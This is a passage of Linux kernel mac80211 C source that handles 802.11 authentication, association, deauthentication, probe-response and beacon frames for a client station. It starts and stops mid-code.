bssid[ETH_ALEN]; u16 auth_alg, auth_transaction, status_code; struct sta_info *sta; sdata_assert_lock(sdata); if (len < 24 + 6) return; if (!ifmgd->auth_data || ifmgd->auth_data->done) return; memcpy(bssid, ifmgd->auth_data->bss->bssid, ETH_ALEN); if (!ether_addr_equal(bssid, mgmt->bssid)) return; auth_alg = le16_to_cpu(mgmt->u.auth.auth_alg); auth_transaction = le16_to_cpu(mgmt->u.auth.auth_transaction); status_code = le16_to_cpu(mgmt->u.auth.status_code); if (auth_alg != ifmgd->auth_data->algorithm || auth_transaction != ifmgd->auth_data->expected_transaction) { sdata_info(sdata, "%pM unexpected authentication state: alg %d (expected %d) transact %d (expected %d)\n", mgmt->sa, auth_alg, ifmgd->auth_data->algorithm, auth_transaction, ifmgd->auth_data->expected_transaction); return; } if (status_code != WLAN_STATUS_SUCCESS) { sdata_info(sdata, "%pM denied authentication (status %d)\n", mgmt->sa, status_code); ieee80211_destroy_auth_data(sdata, false); cfg80211_rx_mlme_mgmt(sdata->dev, (u8 *)mgmt, len); return; } switch (ifmgd->auth_data->algorithm) { case WLAN_AUTH_OPEN: case WLAN_AUTH_LEAP: case WLAN_AUTH_FT: case WLAN_AUTH_SAE: break; case WLAN_AUTH_SHARED_KEY: if (ifmgd->auth_data->expected_transaction != 4) { ieee80211_auth_challenge(sdata, mgmt, len); /* need another frame */ return; } break; default: WARN_ONCE(1, "invalid auth alg %d", ifmgd->auth_data->algorithm); return; } sdata_info(sdata, "authenticated\n"); ifmgd->auth_data->done = true; ifmgd->auth_data->timeout = jiffies + IEEE80211_AUTH_WAIT_ASSOC; ifmgd->auth_data->timeout_started = true; run_again(sdata, ifmgd->auth_data->timeout); if (ifmgd->auth_data->algorithm == WLAN_AUTH_SAE && ifmgd->auth_data->expected_transaction != 2) { /* * Report auth frame to user space for processing since another * round of Authentication frames is still needed. */ cfg80211_rx_mlme_mgmt(sdata->dev, (u8 *)mgmt, len); return; } /* move station state to auth */ mutex_lock(&sdata->local->sta_mtx); sta = sta_info_get(sdata, bssid); if (!sta) { WARN_ONCE(1, "%s: STA %pM not found", sdata->name, bssid); goto out_err; } if (sta_info_move_state(sta, IEEE80211_STA_AUTH)) { sdata_info(sdata, "failed moving %pM to auth\n", bssid); goto out_err; } mutex_unlock(&sdata->local->sta_mtx); cfg80211_rx_mlme_mgmt(sdata->dev, (u8 *)mgmt, len); return; out_err: mutex_unlock(&sdata->local->sta_mtx); /* ignore frame -- wait for timeout */ } #define case_WLAN(type) \ case WLAN_REASON_##type: return #type static const char *ieee80211_get_reason_code_string(u16 reason_code) { switch (reason_code) { case_WLAN(UNSPECIFIED); case_WLAN(PREV_AUTH_NOT_VALID); case_WLAN(DEAUTH_LEAVING); case_WLAN(DISASSOC_DUE_TO_INACTIVITY); case_WLAN(DISASSOC_AP_BUSY); case_WLAN(CLASS2_FRAME_FROM_NONAUTH_STA); case_WLAN(CLASS3_FRAME_FROM_NONASSOC_STA); case_WLAN(DISASSOC_STA_HAS_LEFT); case_WLAN(STA_REQ_ASSOC_WITHOUT_AUTH); case_WLAN(DISASSOC_BAD_POWER); case_WLAN(DISASSOC_BAD_SUPP_CHAN); case_WLAN(INVALID_IE); case_WLAN(MIC_FAILURE); case_WLAN(4WAY_HANDSHAKE_TIMEOUT); case_WLAN(GROUP_KEY_HANDSHAKE_TIMEOUT); case_WLAN(IE_DIFFERENT); case_WLAN(INVALID_GROUP_CIPHER); case_WLAN(INVALID_PAIRWISE_CIPHER); case_WLAN(INVALID_AKMP); case_WLAN(UNSUPP_RSN_VERSION); case_WLAN(INVALID_RSN_IE_CAP); case_WLAN(IEEE8021X_FAILED); case_WLAN(CIPHER_SUITE_REJECTED); case_WLAN(DISASSOC_UNSPECIFIED_QOS); case_WLAN(DISASSOC_QAP_NO_BANDWIDTH); case_WLAN(DISASSOC_LOW_ACK); case_WLAN(DISASSOC_QAP_EXCEED_TXOP); case_WLAN(QSTA_LEAVE_QBSS); case_WLAN(QSTA_NOT_USE); case_WLAN(QSTA_REQUIRE_SETUP); case_WLAN(QSTA_TIMEOUT); case_WLAN(QSTA_CIPHER_NOT_SUPP); case_WLAN(MESH_PEER_CANCELED); case_WLAN(MESH_MAX_PEERS); case_WLAN(MESH_CONFIG); case_WLAN(MESH_CLOSE); case_WLAN(MESH_MAX_RETRIES); case_WLAN(MESH_CONFIRM_TIMEOUT); case_WLAN(MESH_INVALID_GTK); case_WLAN(MESH_INCONSISTENT_PARAM); case_WLAN(MESH_INVALID_SECURITY); case_WLAN(MESH_PATH_ERROR); case_WLAN(MESH_PATH_NOFORWARD); case_WLAN(MESH_PATH_DEST_UNREACHABLE); case_WLAN(MAC_EXISTS_IN_MBSS); case_WLAN(MESH_CHAN_REGULATORY); case_WLAN(MESH_CHAN); default: return "<unknown>"; } } static void ieee80211_rx_mgmt_deauth(struct ieee80211_sub_if_data *sdata, struct ieee80211_mgmt *mgmt, size_t len) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; const u8 *bssid = NULL; u16 reason_code; sdata_assert_lock(sdata); if (len < 24 + 2) return; if (!ifmgd->associated || !ether_addr_equal(mgmt->bssid, ifmgd->associated->bssid)) return; bssid = ifmgd->associated->bssid; reason_code = le16_to_cpu(mgmt->u.deauth.reason_code); sdata_info(sdata, "deauthenticated from %pM (Reason: %u=%s)\n", bssid, reason_code, ieee80211_get_reason_code_string(reason_code)); ieee80211_set_disassoc(sdata, 0, 0, false, NULL); cfg80211_rx_mlme_mgmt(sdata->dev, (u8 *)mgmt, len); } static void ieee80211_rx_mgmt_disassoc(struct ieee80211_sub_if_data *sdata, struct ieee80211_mgmt *mgmt, size_t len) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; u16 reason_code; sdata_assert_lock(sdata); if (len < 24 + 2) return; if (!ifmgd->associated || !ether_addr_equal(mgmt->bssid, ifmgd->associated->bssid)) return; reason_code = le16_to_cpu(mgmt->u.disassoc.reason_code); sdata_info(sdata, "disassociated from %pM (Reason: %u)\n", mgmt->sa, reason_code); ieee80211_set_disassoc(sdata, 0, 0, false, NULL); cfg80211_rx_mlme_mgmt(sdata->dev, (u8 *)mgmt, len); } static void ieee80211_get_rates(struct ieee80211_supported_band *sband, u8 *supp_rates, unsigned int supp_rates_len, u32 *rates, u32 *basic_rates, bool *have_higher_than_11mbit, int *min_rate, int *min_rate_index, int shift, u32 rate_flags) { int i, j; for (i = 0; i < supp_rates_len; i++) { int rate = supp_rates[i] & 0x7f; bool is_basic = !!(supp_rates[i] & 0x80); if ((rate * 5 * (1 << shift)) > 110) *have_higher_than_11mbit = true; /* * BSS_MEMBERSHIP_SELECTOR_HT_PHY is defined in 802.11n-2009 * 7.3.2.2 as a magic value instead of a rate. Hence, skip it. * * Note: Even through the membership selector and the basic * rate flag share the same bit, they are not exactly * the same. */ if (!!(supp_rates[i] & 0x80) && (supp_rates[i] & 0x7f) == BSS_MEMBERSHIP_SELECTOR_HT_PHY) continue; for (j = 0; j < sband->n_bitrates; j++) { struct ieee80211_rate *br; int brate; br = &sband->bitrates[j]; if ((rate_flags & br->flags) != rate_flags) continue; brate = DIV_ROUND_UP(br->bitrate, (1 << shift) * 5); if (brate == rate) { *rates |= BIT(j); if (is_basic) *basic_rates |= BIT(j); if ((rate * 5) < *min_rate) { *min_rate = rate * 5; *min_rate_index = j; } break; } } } } static void ieee80211_destroy_assoc_data(struct ieee80211_sub_if_data *sdata, bool assoc) { struct ieee80211_mgd_assoc_data *assoc_data = sdata->u.mgd.assoc_data; sdata_assert_lock(sdata); if (!assoc) { /* * we are not associated yet, the only timer that could be * running is the timeout for the association response which * which is not relevant anymore. */ del_timer_sync(&sdata->u.mgd.timer); sta_info_destroy_addr(sdata, assoc_data->bss->bssid); eth_zero_addr(sdata->u.mgd.bssid); ieee80211_bss_info_change_notify(sdata, BSS_CHANGED_BSSID); sdata->u.mgd.flags = 0; mutex_lock(&sdata->local->mtx); ieee80211_vif_release_channel(sdata); mutex_unlock(&sdata->local->mtx); } kfree(assoc_data); sdata->u.mgd.assoc_data = NULL; } static bool ieee80211_assoc_success(struct ieee80211_sub_if_data *sdata, struct cfg80211_bss *cbss, struct ieee80211_mgmt *mgmt, size_t len) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; struct ieee80211_local *local = sdata->local; struct ieee80211_supported_band *sband; struct sta_info *sta; u8 *pos; u16 capab_info, aid; struct ieee802_11_elems elems; struct ieee80211_bss_conf *bss_conf = &sdata->vif.bss_conf; const struct cfg80211_bss_ies *bss_ies = NULL; struct ieee80211_mgd_assoc_data *assoc_data = ifmgd->assoc_data; u32 changed = 0; int err; bool ret; /* AssocResp and ReassocResp have identical structure */ aid = le16_to_cpu(mgmt->u.assoc_resp.aid); capab_info = le16_to_cpu(mgmt->u.assoc_resp.capab_info); if ((aid & (BIT(15) | BIT(14))) != (BIT(15) | BIT(14))) sdata_info(sdata, "invalid AID value 0x%x; bits 15:14 not set\n", aid); aid &= ~(BIT(15) | BIT(14)); ifmgd->broken_ap = false; if (aid == 0 || aid > IEEE80211_MAX_AID) { sdata_info(sdata, "invalid AID value %d (out of range), turn off PS\n", aid); aid = 0; ifmgd->broken_ap = true; } pos = mgmt->u.assoc_resp.variable; ieee802_11_parse_elems(pos, len - (pos - (u8 *) mgmt), false, &elems); if (!elems.supp_rates) { sdata_info(sdata, "no SuppRates element in AssocResp\n"); return false; } ifmgd->aid = aid; ifmgd->tdls_chan_switch_prohibited = elems.ext_capab && elems.ext_capab_len >= 5 && (elems.ext_capab[4] & WLAN_EXT_CAPA5_TDLS_CH_SW_PROHIBITED); /* * Some APs are erroneously not including some information in their * (re)association response frames. Try to recover by using the data * from the beacon or probe response. This seems to afflict mobile * 2G/3G/4G wifi routers, reported models include the "Onda PN51T", * "Vodafone PocketWiFi 2", "ZTE MF60" and a similar T-Mobile device. */ if ((assoc_data->wmm && !elems.wmm_param) || (!(ifmgd->flags & IEEE80211_STA_DISABLE_HT) && (!elems.ht_cap_elem || !elems.ht_operation)) || (!(ifmgd->flags & IEEE80211_STA_DISABLE_VHT) && (!elems.vht_cap_elem || !elems.vht_operation))) { const struct cfg80211_bss_ies *ies; struct ieee802_11_elems bss_elems; rcu_read_lock(); ies = rcu_dereference(cbss->ies); if (ies) bss_ies = kmemdup(ies, sizeof(*ies) + ies->len, GFP_ATOMIC); rcu_read_unlock(); if (!bss_ies) return false; ieee802_11_parse_elems(bss_ies->data, bss_ies->len, false, &bss_elems); if (assoc_data->wmm && !elems.wmm_param && bss_elems.wmm_param) { elems.wmm_param = bss_elems.wmm_param; sdata_info(sdata, "AP bug: WMM param missing from AssocResp\n"); } /* * Also check if we requested HT/VHT, otherwise the AP doesn't * have to include the IEs in the (re)association response. */ if (!elems.ht_cap_elem && bss_elems.ht_cap_elem && !(ifmgd->flags & IEEE80211_STA_DISABLE_HT)) { elems.ht_cap_elem = bss_elems.ht_cap_elem; sdata_info(sdata, "AP bug: HT capability missing from AssocResp\n"); } if (!elems.ht_operation && bss_elems.ht_operation && !(ifmgd->flags & IEEE80211_STA_DISABLE_HT)) { elems.ht_operation = bss_elems.ht_operation; sdata_info(sdata, "AP bug: HT operation missing from AssocResp\n"); } if (!elems.vht_cap_elem && bss_elems.vht_cap_elem && !(ifmgd->flags & IEEE80211_STA_DISABLE_VHT)) { elems.vht_cap_elem = bss_elems.vht_cap_elem; sdata_info(sdata, "AP bug: VHT capa missing from AssocResp\n"); } if (!elems.vht_operation && bss_elems.vht_operation && !(ifmgd->flags & IEEE80211_STA_DISABLE_VHT)) { elems.vht_operation = bss_elems.vht_operation; sdata_info(sdata, "AP bug: VHT operation missing from AssocResp\n"); } } /* * We previously checked these in the beacon/probe response, so * they should be present here. This is just a safety net. */ if (!(ifmgd->flags & IEEE80211_STA_DISABLE_HT) && (!elems.wmm_param || !elems.ht_cap_elem || !elems.ht_operation)) { sdata_info(sdata, "HT AP is missing WMM params or HT capability/operation\n"); ret = false; goto out; } if (!(ifmgd->flags & IEEE80211_STA_DISABLE_VHT) && (!elems.vht_cap_elem || !elems.vht_operation)) { sdata_info(sdata, "VHT AP is missing VHT capability/operation\n"); ret = false; goto out; } mutex_lock(&sdata->local->sta_mtx); /* * station info was already allocated and inserted before * the association and should be available to us */ sta = sta_info_get(sdata, cbss->bssid); if (WARN_ON(!sta)) { mutex_unlock(&sdata->local->sta_mtx); ret = false; goto out; } sband = local->hw.wiphy->bands[ieee80211_get_sdata_band(sdata)]; /* Set up internal HT/VHT capabilities */ if (elems.ht_cap_elem && !(ifmgd->flags & IEEE80211_STA_DISABLE_HT)) ieee80211_ht_cap_ie_to_sta_ht_cap(sdata, sband, elems.ht_cap_elem, sta); if (elems.vht_cap_elem && !(ifmgd->flags & IEEE80211_STA_DISABLE_VHT)) ieee80211_vht_cap_ie_to_sta_vht_cap(sdata, sband, elems.vht_cap_elem, sta); /* * Some APs, e.g. Netgear WNDR3700, report invalid HT operation data * in their association response, so ignore that data for our own * configuration. If it changed since the last beacon, we'll get the * next beacon and update then. */ /* * If an operating mode notification IE is present, override the * NSS calculation (that would be done in rate_control_rate_init()) * and use the # of streams from that element. */ if (elems.opmode_notif && !(*elems.opmode_notif & IEEE80211_OPMODE_NOTIF_RX_NSS_TYPE_BF)) { u8 nss; nss = *elems.opmode_notif & IEEE80211_OPMODE_NOTIF_RX_NSS_MASK; nss >>= IEEE80211_OPMODE_NOTIF_RX_NSS_SHIFT; nss += 1; sta->sta.rx_nss = nss; } rate_control_rate_init(sta); if (ifmgd->flags & IEEE80211_STA_MFP_ENABLED) { set_sta_flag(sta, WLAN_STA_MFP); sta->sta.mfp = true; } else { sta->sta.mfp = false; } sta->sta.wme = elems.wmm_param; err = sta_info_move_state(sta, IEEE80211_STA_ASSOC); if (!err && !(ifmgd->flags & IEEE80211_STA_CONTROL_PORT)) err = sta_info_move_state(sta, IEEE80211_STA_AUTHORIZED); if (err) { sdata_info(sdata, "failed to move station %pM to desired state\n", sta->sta.addr); WARN_ON(__sta_info_destroy(sta)); mutex_unlock(&sdata->local->sta_mtx); ret = false; goto out; } mutex_unlock(&sdata->local->sta_mtx); /* * Always handle WMM once after association regardless * of the first value the AP uses. Setting -1 here has * that effect because the AP values is an unsigned * 4-bit value. */ ifmgd->wmm_last_param_set = -1; if (!(ifmgd->flags & IEEE80211_STA_DISABLE_WMM) && elems.wmm_param) ieee80211_sta_wmm_params(local, sdata, elems.wmm_param, elems.wmm_param_len); else ieee80211_set_wmm_default(sdata, false); changed |= BSS_CHANGED_QOS; /* set AID and assoc capability, * ieee80211_set_associated() will tell the driver */ bss_conf->aid = aid; bss_conf->assoc_capability = capab_info; ieee80211_set_associated(sdata, cbss, changed); /* * If we're using 4-addr mode, let the AP know that we're * doing so, so that it can create the STA VLAN on its side */ if (ifmgd->use_4addr) ieee80211_send_4addr_nullfunc(local, sdata); /* * Start timer to probe the connection to the AP now. * Also start the timer that will detect beacon loss. */ ieee80211_sta_rx_notify(sdata, (struct ieee80211_hdr *)mgmt); ieee80211_sta_reset_beacon_monitor(sdata); ret = true; out: kfree(bss_ies); return ret; } static void ieee80211_rx_mgmt_assoc_resp(struct ieee80211_sub_if_data *sdata, struct ieee80211_mgmt *mgmt, size_t len) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; struct ieee80211_mgd_assoc_data *assoc_data = ifmgd->assoc_data; u16 capab_info, status_code, aid; struct ieee802_11_elems elems; int ac, uapsd_queues = -1; u8 *pos; bool reassoc; struct cfg80211_bss *bss; sdata_assert_lock(sdata); if (!assoc_data) return; if (!ether_addr_equal(assoc_data->bss->bssid, mgmt->bssid)) return; /* * AssocResp and ReassocResp have identical structure, so process both * of them in this function. */ if (len < 24 + 6) return; reassoc = ieee80211_is_reassoc_req(mgmt->frame_control); capab_info = le16_to_cpu(mgmt->u.assoc_resp.capab_info); status_code = le16_to_cpu(mgmt->u.assoc_resp.status_code); aid = le16_to_cpu(mgmt->u.assoc_resp.aid); sdata_info(sdata, "RX %sssocResp from %pM (capab=0x%x status=%d aid=%d)\n", reassoc ? "Rea" : "A", mgmt->sa, capab_info, status_code, (u16)(aid & ~(BIT(15) | BIT(14)))); pos = mgmt->u.assoc_resp.variable; ieee802_11_parse_elems(pos, len - (pos - (u8 *) mgmt), false, &elems); if (status_code == WLAN_STATUS_ASSOC_REJECTED_TEMPORARILY && elems.timeout_int && elems.timeout_int->type == WLAN_TIMEOUT_ASSOC_COMEBACK) { u32 tu, ms; tu = le32_to_cpu(elems.timeout_int->value); ms = tu * 1024 / 1000; sdata_info(sdata, "%pM rejected association temporarily; comeback duration %u TU (%u ms)\n", mgmt->sa, tu, ms); assoc_data->timeout = jiffies + msecs_to_jiffies(ms); assoc_data->timeout_started = true; if (ms > IEEE80211_ASSOC_TIMEOUT) run_again(sdata, assoc_data->timeout); return; } bss = assoc_data->bss; if (status_code != WLAN_STATUS_SUCCESS) { sdata_info(sdata, "%pM denied association (code=%d)\n", mgmt->sa, status_code); ieee80211_destroy_assoc_data(sdata, false); } else { if (!ieee80211_assoc_success(sdata, bss, mgmt, len)) { /* oops -- internal error -- send timeout for now */ ieee80211_destroy_assoc_data(sdata, false); cfg80211_assoc_timeout(sdata->dev, bss); return; } sdata_info(sdata, "associated\n"); /* * destroy assoc_data afterwards, as otherwise an idle * recalc after assoc_data is NULL but before associated * is set can cause the interface to go idle */ ieee80211_destroy_assoc_data(sdata, true); /* get uapsd queues configuration */ uapsd_queues = 0; for (ac = 0; ac < IEEE80211_NUM_ACS; ac++) if (sdata->tx_conf[ac].uapsd) uapsd_queues |= BIT(ac); } cfg80211_rx_assoc_resp(sdata->dev, bss, (u8 *)mgmt, len, uapsd_queues); } static void ieee80211_rx_bss_info(struct ieee80211_sub_if_data *sdata, struct ieee80211_mgmt *mgmt, size_t len, struct ieee80211_rx_status *rx_status, struct ieee802_11_elems *elems) { struct ieee80211_local *local = sdata->local; struct ieee80211_bss *bss; struct ieee80211_channel *channel; sdata_assert_lock(sdata); channel = ieee80211_get_channel(local->hw.wiphy, rx_status->freq); if (!channel) return; bss = ieee80211_bss_info_update(local, rx_status, mgmt, len, elems, channel); if (bss) { sdata->vif.bss_conf.beacon_rate = bss->beacon_rate; ieee80211_rx_bss_put(local, bss); } } static void ieee80211_rx_mgmt_probe_resp(struct ieee80211_sub_if_data *sdata, struct sk_buff *skb) { struct ieee80211_mgmt *mgmt = (void *)skb->data; struct ieee80211_if_managed *ifmgd; struct ieee80211_rx_status *rx_status = (void *) skb->cb; size_t baselen, len = skb->len; struct ieee802_11_elems elems; ifmgd = &sdata->u.mgd; sdata_assert_lock(sdata); if (!ether_addr_equal(mgmt->da, sdata->vif.addr)) return; /* ignore ProbeResp to foreign address */ baselen = (u8 *) mgmt->u.probe_resp.variable - (u8 *) mgmt; if (baselen > len) return; ieee802_11_parse_elems(mgmt->u.probe_resp.variable, len - baselen, false, &elems); ieee80211_rx_bss_info(sdata, mgmt, len, rx_status, &elems); if (ifmgd->associated && ether_addr_equal(mgmt->bssid, ifmgd->associated->bssid)) ieee80211_reset_ap_probe(sdata); if (ifmgd->auth_data && !ifmgd->auth_data->bss->proberesp_ies && ether_addr_equal(mgmt->bssid, ifmgd->auth_data->bss->bssid)) { /* got probe response, continue with auth */ sdata_info(sdata, "direct probe responded\n"); ifmgd->auth_data->tries = 0; ifmgd->auth_data->timeout = jiffies; ifmgd->auth_data->timeout_started = true; run_again(sdata, ifmgd->auth_data->timeout); } } /* * This is the canonical list of information elements we care about, * the filter code also gives us all changes to the Microsoft OUI * (00:50:F2) vendor IE which is used for WMM which we need to track, * as well as the DTPC IE (part of the Cisco OUI) used for signaling * changes to requested client power. * * We implement beacon filtering in software since that means we can * avoid processing the frame here and in cfg80211, and userspace * will not be able to tell whether the hardware supports it or not. * * XXX: This list needs to be dynamic -- userspace needs to be able to * add items it requires. It also needs to be able to tell us to * look out for other vendor IEs. */ static const u64 care_about_ies = (1ULL << WLAN_EID_COUNTRY) | (1ULL << WLAN_EID_ERP_INFO) | (1ULL << WLAN_EID_CHANNEL_SWITCH) | (1ULL << WLAN_EID_PWR_CONSTRAINT) | (1ULL << WLAN_EID_HT_CAPABILITY) | (1ULL << WLAN_EID_HT_OPERATION); static void ieee80211_rx_mgmt_beacon(struct ieee80211_sub_if_data *sdata, struct ieee80211_mgmt *mgmt, size_t len, struct ieee80211_rx_status *rx_status) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; struct ieee80211_bss_conf *bss_conf = &sdata->vif.bss_conf; size_t baselen; struct ieee802_11_elems elems; struct ieee80211_local *local = sdata->local; struct ieee80211_chanctx_conf *chanctx_conf; struct ieee80211_channel *chan; struct sta_info *sta; u32 changed = 0; bool erp_valid; u8 erp_value = 0; u32 ncrc; u8 *bssid; u8 deauth_buf[IEEE80211_DEAUTH_FRAME_LEN]; sdata_assert_lock(sdata); /* Process beacon from the current BSS */ baselen = (u8 *) mgmt->u.beacon.variable - (u8 *) mgmt; if (baselen > len) return; rcu_read_lock(); chanctx_conf = rcu_dereference(sdata->vif.chanctx_conf); if (!chanctx_conf) { rcu_read_unlock(); return; } if (rx_status->freq != chanctx_conf->def.chan->center_freq) { rcu_read_unlock(); return; } chan = chanctx_conf->def.chan; rcu_read_unlock(); if (ifmgd->assoc_data && ifmgd->assoc_data->need_beacon && ether_addr_equal(mgmt->bssid, ifmgd->assoc_data->bss->bssid)) { ieee802_11_parse_elems(mgmt->u.beacon.variable, len - baselen, false, &elems); ieee80211_rx_bss_info(sdata, mgmt, len, rx_status, &elems); if (elems.tim && !elems.parse_error) { const struct ieee80211_tim_ie *tim_ie = elems.tim; ifmgd->dtim_period = tim_ie->dtim_period; } ifmgd->have_beacon = true; ifmgd->assoc_data->need_beacon = false; if (local->hw.flags & IEEE80211_HW_TIMING_BEACON_ONLY) { sdata->vif.bss_conf.sync_tsf = le64_to_cpu(mgmt->u.beacon.timestamp); sdata->vif.bss_conf.sync_device_ts = rx_status->device_timestamp; if (elems.tim) sdata->vif.bss_conf.sync_dtim_count = elems.tim->dtim_count; else sdata->vif.bss_conf.sync_dtim_count = 0; } /* continue assoc process */ ifmgd->assoc_data->timeout = jiffies; ifmgd->assoc_data->timeout_started = true; run_again(sdata, ifmgd->assoc_data->timeout); return; } if (!ifmgd->associated || !ether_addr_equal(mgmt->bssid, ifmgd->associated->bssid)) return; bssid = ifmgd->associated->bssid; /* Track average RSSI from the Beacon frames of the current AP */ ifmgd->last_beacon_signal = rx_status->signal; if (ifmgd->flags & IEEE80211_STA_RESET_SIGNAL_AVE) { ifmgd->flags &= ~IEEE80211_STA_RESET_SIGNAL_AVE; ifmgd->ave_beacon_signal = rx_status->signal * 16; ifmgd->last_cqm_event_signal = 0; ifmgd->count_beacon_signal = 1; ifmgd->last_ave_beacon_signal = 0; } else { ifmgd->ave_beacon_signal = (IEEE80211_SIGNAL_AVE_WEIGHT * rx_status->signal * 16 + (16 - IEEE80211_SIGNAL_AVE_WEIGHT) * ifmgd->ave_beacon_signal) / 16; ifmgd->count_beacon_signal++; } if (ifmgd->rssi_min_thold != ifmgd->rssi_max_thold && ifmgd->count_beacon_signal >= IEEE80211_SIGNAL_AVE_MIN_COUNT) { int sig = ifmgd->ave_beacon_signal; int last_sig = ifmgd->last_ave_beacon_signal; /* * if signal crosses either of the boundaries, invoke callback * with appropriate parameters */ if (sig > ifmgd->rssi_max_thold && (last_sig <= ifmgd->rssi_min_thold || last_sig == 0)) { ifmgd->last_ave_beacon_signal = sig; drv_rssi_callback(local, sdata, RSSI_EVENT_HIGH); } else if (sig < ifmgd->rssi_min_thold && (last_sig >= ifmgd->rssi_max_thold || last_sig == 0)) { ifmgd->last_ave_beacon_signal = sig; drv_rssi_callback(local, sdata, RSSI_EVENT_LOW); } } if (bss_conf->cqm_rssi_thold && ifmgd->count_beacon_signal >= IEEE80211_SIGNAL_AVE_MIN_COUNT && !(sdata->vif.driver_flags & IEEE80211_VIF_SUPPORTS_CQM_RSSI)) { int sig = ifmgd->ave_beacon_signal / 16; int last_event = ifmgd->last_cqm_event_signal; int thold = bss_conf->cqm_rssi_thold; int hyst = bss_conf->cqm_rssi_hyst; if (sig < thold && (last_event == 0 || sig < last_event - hyst)) { ifmgd->last_cqm_event_signal = sig; ieee80211_cqm_rssi_notify( &sdata->vif, NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW, GFP_KERNEL); } else if (sig > thold && (last_event == 0 || sig > last_event + hyst)) { ifmgd->last_cqm_event_signal = sig; ieee80211_cqm_rssi_notify( &sdata->vif, NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH, GFP_KERNEL); } } if (ifmgd->flags & IEEE80211_STA_CONNECTION_POLL) { mlme_dbg_ratelimited(sdata, "cancelling AP probe due to a received beacon\n"); ieee80211_reset_ap_probe(sdata); } /* * Push the beacon loss detection into the future since * we are processing a beacon from the AP just now. */ ieee80211_sta_reset_beacon_monitor(sdata); ncrc = crc32_be(0, (void *)&mgmt->u.beacon.beacon_int, 4); ncrc = ieee802_11_parse_elems_crc(mgmt->u.beacon.variable, len - baselen, false, &elems, care_about_ies, ncrc); if (local->hw.flags & IEEE80211_HW_PS_NULLFUNC_STACK) { bool directed_tim = ieee80211_check_tim(elems.tim, elems.tim_len, ifmgd->aid); if (directed_tim) { if (local->hw.conf.dynamic_ps_timeout > 0) { if (local->hw.conf.flags & IEEE80211_CONF_PS) { local->hw.conf.flags &= ~IEEE80211_CONF_PS; ieee80211_hw_config(local, IEEE80211_CONF_CHANGE_PS); } ieee80211_send_nullfunc(local, sdata, 0); } else if (!local->pspolling && sdata->u.mgd.powersave) { local->pspolling = true; /* * Here is assumed that the driver will be * able to send ps-poll frame and receive a * response even though power save mode is * enabled, but some drivers might require * to disable power save here. This needs * to be investigated. */ ieee80211_send_pspoll(local, sdata); } } } if (sdata->vif.p2p) { struct ieee80211_p2p_noa_attr noa = {}; int ret; ret = cfg80211_get_p2p_attr(mgmt->u.beacon.variable, len - baselen, IEEE80211_P2P_ATTR_ABSENCE_NOTICE, (u8 *) &noa, sizeof(noa)); if (ret >= 2) { if (sdata->u.mgd.p2p_noa_index != noa.index) { /* valid noa_attr and index changed */ sdata->u.mgd.p2p_noa_index = noa.index; memcpy(&bss_conf->p2p_noa_attr, &noa, sizeof(noa)); changed |= BSS_CHANGED_P2P_PS; /* * make sure we update all information, the CRC * mechanism doesn't look at P2P attributes. */ ifmgd->beacon_crc_valid = false; } } else if (sdata->u.mgd.p2p_noa_index != -1) { /* noa_attr not found and we had valid noa_attr before */ sdata->u.mgd.p2p_noa_index = -1; memset(&bss_conf->p2p_noa_attr, 0, sizeof(bss_conf->p2p_noa_attr)); changed |= BSS_CHANGED_P2P_PS; ifmgd->beacon_crc_valid = false; } } if (ifmgd->csa_waiting_bcn) ieee80211_chswitch_post_beacon(sdata); /* * Update beacon timing and dtim count on every beacon appearance. This * will allow the driver to use the most updated values. Do it before * comparing this one with last received beacon. * IMPORTANT: These parameters would possibly be out of sync by the time * the driver will use them. The synchronized view is currently * guaranteed only in certain callbacks. */ if (local->hw.flags & IEEE80211_HW_TIMING_BEACON_ONLY) { sdata->vif.bss_conf.sync_tsf = le64_to_cpu(mgmt->u.beacon.timestamp); sdata->vif.bss_conf.sync_device_ts = rx_status->device_timestamp; if (elems.tim) sdata->vif.bss_conf.sync_dtim_count = elems.tim->dtim_count; else sdata->vif.bss_conf.sync_dtim_count = 0; } if (ncrc == ifmgd->beacon_crc && ifmgd->beacon_crc_valid) return; ifmgd->beacon_crc = ncrc; ifmgd->beacon_crc_valid = true; ieee80211_rx_bss_info(sdata, mgmt, len, rx_status, &elems); ieee80211_sta_process_chanswitch(sdata, rx_status->mactime, rx_status->device_timestamp, &elems, true); if (!(ifmgd->flags & IEEE80211_STA_DISABLE_WMM) && ieee80211_sta_wmm_params(local, sdata, elems.wmm_param, elems.wmm_param_len)) changed |= BSS_CHANGED_QOS; /* * If we haven't had a beacon before, tell the driver about the * DTIM period (and beacon timing if desired) now. */ if (!ifmgd->have_beacon) { /* a few bogus AP send dtim_period = 0 or no TIM IE */ if (elems.tim) bss_conf->dtim_period = elems.tim->dtim_period ?: 1; else bss_conf->dtim_period = 1; changed |= BSS_CHANGED_BEACON_INFO; ifmgd->have_beacon = true; mutex_lock(&local->iflist_mtx); ieee80211_recalc_ps(local, -1); mutex_unlock(&local->iflist_mtx); ieee80211_recalc_ps_vif(sdata); } if (elems.erp_info) { erp_valid = true; erp_value = elems.erp_info[0]; } else { erp_valid = false; } changed |= ieee80211_handle_bss_capability(sdata, le16_to_cpu(mgmt->u.beacon.capab_info), erp_valid, erp_value); mutex_lock(&local->sta_mtx); sta = sta_info_get(sdata, bssid); if (ieee80211_config_bw(sdata, sta, elems.ht_cap_elem, elems.ht_operation, elems.vht_operation, bssid, &changed)) { mutex_unlock(&local->sta_mtx); ieee80211_set_disassoc(sdata, IEEE80211_STYPE_DEAUTH, WLAN_REASON_DEAUTH_LEAVING, true, deauth_buf); cfg80211_tx_mlme_mgmt(sdata->dev, deauth_buf, sizeof(deauth_buf)); return; } if (sta && elems.opmode_notif) ieee80211_vht_handle_opmode(sdata, sta, *elems.opmode_notif, rx_status->band, true); mutex_unlock(&local->sta_mtx); changed |= ieee80211_handle_pwr_constr(sdata, chan, mgmt, elems.country_elem, elems.country_elem_len, elems.pwr_constr_elem, elems.cisco_dtpc_elem); ieee80211_bss_info_change_notify(sdata, changed); } void ieee80211_sta_rx_queued_mgmt(struct ieee80211_sub_if_data *sdata, struct sk_buff *skb) { struct ieee80211_rx_status *rx_status; struct ieee80211_mgmt *mgmt; u16 fc; struct ieee802_11_elems elems; int ies_len; rx_status = (struct ieee80211_rx_status 